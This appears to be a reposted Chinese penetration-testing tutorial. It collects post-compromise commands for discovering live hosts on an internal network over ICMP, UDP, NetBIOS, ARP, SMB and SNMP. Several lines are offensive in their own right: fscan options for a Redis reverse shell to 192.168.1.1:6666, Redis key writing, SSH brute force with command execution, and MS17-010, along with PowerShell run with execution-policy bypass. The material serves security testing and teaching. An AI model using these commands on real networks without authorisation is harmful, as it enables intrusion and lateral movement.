前言
在拿下通內網的主機權限后,普遍需要更進一步的收集內網信息,此時如何有效快速的探測內網存活主機關系到我們下一步的進展情況。當然自從有了Fscan后,我們的效率已經大大提高,不過在某些情況下fscan有時會無法正常探測,此時如何使用其他方法有效地收集內網信息成了關鍵,這篇文章主要記錄一下在不同環境、不同條件下探測內網存活主機的方法。
內網主機探測的不同場景
我們主機掃描的場景主要分為三種:
1、獲取到了webshell,此時一般用系統命令或上傳腳本工具進行探測;
2、主機已在目標內網,比如已經通過正向或者反向代理搭建隧道的場景。此時可以考慮proxychains+Nmap掃描;
3、拿到了一個反彈的webshell,則可以考慮MSF。要根據不同的場景考慮支持存活探測的協議,包括了ARP、ICMP、SMB、 UDP、SNMP協議等;支持端口掃描的方式,包括TCP掃描、UDP掃描、ICMP掃描等。
內網不同協議主機探測的方式
ICMP協議探測
它是TCP/IP協議簇的一個子協議,用于在IP主機、路由器之間傳遞控制消息。控制消息是指網絡通不通、主機是否可達、路由是否可用等網絡本身的消息。這些控制消息雖然并不傳輸用戶數據,但是對于用戶數據的傳遞起著重要的作用。
ping
ping是我們一個常用工具,主要用來測試網絡連通性。也可以用它來完成對C段的探測,雖然效率低時間慢,但是不易出發安全規則。(服務器開啟防火墻或者禁ping的時候不可用,否則影響探測結果)
?Windows
for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="
這是我在CS里執行的ping命令,可以看到c段內有兩臺主機存活 也可以寫進文件里,方便后續查看。寫進C盤的話需要administer權限,可以考慮更換盤符
@for/l%iin(1,1,255)do@ping-n1-w40192.168.1.%i&iferrorlevel1(echo192.168.1.%i>>./a.txt)else(echo192.168.1.%i>>./111.txt)
Linux
for k in $( seq 1 255);do ping -c 1 10.211.55.|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
另外,還可以結合系統自帶的traceroute、arp 、netstat等命令收集內網信息,curl、wget可以用來做端口探測
nmap
nmap ‐sP ‐PI 192.168.1.0/24 ‐T4
#或者
nmap ‐sn ‐PE ‐T4 192.168.1.0/24
UDP協議探測
Internet 協議集支持一個無連接的傳輸協議,該協議稱為用戶數據報協議(UDP,User Datagram Protocol)。UDP 為應用程序提供了一種無需建立連接就可以發送封裝的 IP 數據包的方法。
Msf
msf > use auxiliary/scanner/discovery/udp_probe
或者
msf > use auxiliary/scanner/discovery/udp_sweep
nmap
sudo nmap -sU -T5 -sV --max-retries 1 10.211.55.5 -p 500
unicornscan(Linux下使用)
unicornscan-mU10.255.55.5
ScanLine(Windows下使用)
sl.exe -h -u 53,161,137,139 -O C:UsersAdministratorDes
ktoplog.txt -p 192.168.1.1-254
Netbios協議
NetBIOS協議是由IBM公司開發,主要用于數十臺計算機的小型局域網。NetBIOS協議是一種在局域網上的程序可以使用的應用程序編程接口(API),為程序提供了請求低級服務的統一的命令集,作用是為了給局域網提供網絡以及其他特殊功能,幾乎所有的局域網都是在NetBIOS協議的基礎上工作的。
nmap
sudo nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4
MSF
use auxiliary/scanner/netbios/nbname
nbtscan掃描
互聯網搜索引擎nbtscan是一個掃描WINDOWS網絡NetBIOS信息的小工具,2005年11月23日發布。NBTSCAN身材嬌小,簡單快速。但只能用于局域網,可以顯示IP,主機名,用戶名稱和MAC地址等等。
下載地址:
http://www.unixwiz.net/tools/nbtscan.html#download
以Windows用法為例:nbtscan-1.0.35.exe -m 10.211.55.0/24
ARP協議
這是根據IP地址獲取物理地址的一個TCP/IP協議。主機發送信息時將包含目標IP地址的ARP請求廣播到局域網絡上的所有主機,并接收返回消息,以此確定目標的物理地址;收到返回消息后將該IP地址和物理地址存入本機ARP緩存中并保留一定時間,下次請求時直接查詢ARP緩存以節約資源。
nmap
nmap -sn -PR 10.211.55.1/24
MSF
use auxiliary/scanner/discovery/arp_sweep
netdiscover
Netdiscover是一種網絡掃描工具,通過ARP掃描發現活動主機,可以通過主動和被動兩種模式進行ARP掃描。通過主動發送ARP請求檢查網絡ARP流量,通過自動掃描模式掃描網絡地址。
sudo netdiscover -r 10.211.55.0/24 -i eth0
arp-scan
可以看到這工具掃描速度挺快的
sudo arp-scan --interface=eth0 --localnet
SMB協議
SMB(Server Message Block)通信協議是微軟和英特爾在1987年制定的協議,主要是作為Microsoft網絡的通訊協議。SMB 是在會話層(session layer)和表示層(presentation layer)以及小部分應用層(application layer)的協議。
Msf
use auxiliary/scanner/smb/smb_version
nmap
nmap -sU -sS --script smb-enum-shares.nse -p 445 10.211.55.3
通過cmd
for /l %a in (1,1,254) do start /min /low telnet 10.211.55.%a 445
crackmapexec
CrackMapExec(CME)是一款后滲透利用工具,可幫助自動化大型活動目錄(AD)網絡安全評估任務。其締造者@byt3bl33d3r稱,該工具的生存概念是,“利用AD內置功能/協議達成其功能,并規避大多數終端防護/IDS/IPS解決方案。”
cme smb 10.211.55.0/24
SNMP協議
SNMP 是專門設計用于在 IP 網絡管理網絡節點(服務器、工作站、路由器、交換機及HUBS等)的一種標準協議,它是一種應用層協議。SNMP 使網絡管理員能夠管理網絡效能,發現并解決網絡問題以及規劃網絡增長。通過 SNMP 接收隨機消息(及事件報告)網絡管理系統獲知網絡出現問題。
nmap
sudo nmap -sU --script snmp-brute 10.211.55.0/24 -T4
Msf
use auxiliary/scanner/snmp/snmp_enum
snmp for pl
這些 perl 腳本用于從目標系統中提取 SNMP 數據并解析這些文件以獲取潛在的可用數據。
項目地址:https://github.com/dheiland-r7/snmp
這個工具在使用前需要編譯,這里參考網上大佬的教程
wget http://www.cpan.org/modules/by-module/NetAddr/NetAddr-IP-4.078.tar.gz
tar xvzf ./NetAddr-IP-4.078.tar.gz
cd NetAddr-IP-4.078/
perl Makefile.PL
make
make install
使用方法:./snmpbw.pl 192.168.0.1 public 2 1
./snmpbw.pl ipfile.txt public 2 4
常見的一些其它工具
Fscan
這個就不多介紹了,太常見
fscan -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24 (默認使用全部模塊)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 寫私鑰)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 計劃任務反彈shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令執行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模塊ssh和端口)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模塊)
通過powershell腳本掃描IP地址存活
這里列舉幾個項目地址:
https://github.com/nettitude/PoshC2_Old/blob/master/Modules/Invoke-Arpscan.ps1
https://github.com/dwj7738/My-Powershell-Repository/blob/master/Scripts/Invoke-TSPingSweep.ps1
使用方法:
powershell.exe -exec bypass -Command "Import-Module .arpscan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255"
此外,還可以用powershell實現基本的端口掃描功能
針對單個IP的多個端口的掃描
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.3",$_)) "Port $_ is open!"} 2>$null
針對單個IP的多個端口的掃描
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.3",$_)) "Port $_ is open!"} 2>$null
針對某IP段 & 多個端口的掃描
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.$a",$_)) "Port $_ is open!"} 2>$null}
PTscan
PTscan(Phantom scanner) 是一款界面友好的輕量級web應用資產掃描器,適合于內網滲透測試環境下web的資產快捷識別,只需Python環境,無需第三方擴展庫,掃描結果使用zoomeye網頁樣式。
PTscan參考了F-NAScan的設計思路,在其基礎上修改而成,把程序重心放在WEB掃描和識別功能上。
使用方法:
Usage: python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306] [-m 50] [-t 10] [-n] [-b] [-r]
##
-f 指定掃描目標文件,文件格式如list.txt所示,同時支持IP和URL
-h 指定掃描IP或IP段,支持段掃描,如192.168.1 即為掃描C段,192.168 即為掃描B段
-p 指定掃描端口,缺省使用程序中的配置端口
-m 指定線程數
-t 指定timeout
-n 不進行ping操作,直接掃描
-b 開啟Banner識別
-r ReverseIP
審核編輯 :李倩
-
Web
+關注
關注
2文章
1269瀏覽量
69733 -
UDP協議
+關注
關注
0文章
70瀏覽量
12775 -
數據包
+關注
關注
0文章
267瀏覽量
24504
原文標題:內網主機探測工具合集
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論